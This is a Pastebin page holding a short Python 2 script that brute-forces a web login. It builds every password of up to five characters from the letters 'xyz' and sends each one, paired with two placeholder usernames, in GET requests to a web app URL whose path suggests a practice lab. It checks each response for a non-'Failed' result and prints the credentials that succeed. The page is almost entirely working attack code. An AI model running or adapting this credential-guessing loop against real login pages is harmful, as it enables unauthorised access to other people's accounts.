Advertisement
RooTsYstEm

Untitled

Mar 1st, 2016
73
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.72 KB | None | 0 0
  1. #!/usr/bin/env python
  2. '''
  3.  
  4.  
  5. '''
  6.  
  7. import urllib2
  8. from termcolor import cprint,colored
  9.  
  10. pass_list = 'xyz'
  11.  
  12.  
  13.  
  14. for current in xrange(5):
  15. a = [i for i in pass_list]
  16. for y in xrange(current):
  17. a = [x+i for i in pass_list for x in a]
  18.  
  19. username = ['username1','username2']
  20.  
  21. for user in username:
  22. for pw in a :
  23. print "Username is %s and password is %s" %(user,pw)
  24. url = ('http://p...content-available-to-author-only...t.com/lab/webapp/1?email='+user+'&password='+pw)
  25. request = urllib2.Request(url)
  26. response = urllib2.urlopen(request)
  27. out = response.read()[2486:2492]
  28. print out
  29. if (out !="Failed"):
  30. cprint("Success with username"+user +" and password " + pw,'red')
  31. exit(0)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement